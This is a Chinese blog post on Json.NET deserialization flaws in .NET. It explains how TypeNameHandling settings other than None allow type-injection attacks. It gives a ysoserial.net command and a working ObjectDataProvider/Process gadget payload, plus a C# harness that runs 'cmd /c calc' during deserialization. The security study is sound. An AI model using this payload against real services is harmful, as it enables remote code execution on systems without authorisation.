.Net审计之.Net Json反序列化
.Net审计之.Net Json反序列化
前言#
偶然下遇到一个.NET 下有意思的Json反序列化点,记录一下反序列化内容,直入主题。
.Net Json#
常见序列化与反序列化#
NET 中常见的数据格式以及序列化方法
官方文档:https://www.newtonsoft.com/json
序列化#
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
Person person = new Person();
person.name = "nice0e3";
person.age = 22;
string json = JsonConvert.SerializeObject(person);
Console.WriteLine(json);
Console.ReadLine();
}
public class Person
{
public string name;
public int age;
static string i;
}
}
}
//结果:{"name":"nice0e3","age":22}
里面的i成员变量并没有被序列化进来,因为该成员变量是静态的,静态修饰的并不参与在实例化对象中,所以不会被序列化进来。
反序列化#
string json = "{\"name\":\"nice0e3\",\"age\":22} ";
object v = JsonConvert.DeserializeObject(json);
Console.WriteLine(v);
Console.ReadLine();
//结果:
{
"name": "nice0e3",
"age": 22
}
反序列化攻击#
JsonConvert.DeserializeObject
第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理,其中TypeNameHandling
可选择的成员分为五种
默认情况下TypeNameHandling
为None,表示Json.NET在反序列化期间不读取或写入类型名称。会使传递就去类名无法进行读取和写入,即不可触发漏洞。
只有当 TypeNameHandling 不为 None 时,传入的 Json 字符串中所附带类型名称才能被读取写入。这样才能触发反序列化漏洞。
设置为非空值、也就是对象(Objects) 、数组(Arrays) 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞
ysoserial.net:https://github.com/pwntester/ysoserial.net
yso生成数据:
/ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
static void Main(string[] args)
{
string json = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
Object js = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All
});
Console.WriteLine(js);
Console.ReadKey();
参考#
https://www.websecuritys.cn/archives/netxlh-1.html
https://ivan1ee.gitbook.io/-netdeserialize/fan-xu-lie-hua-lou-dong-xi-lie/121
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本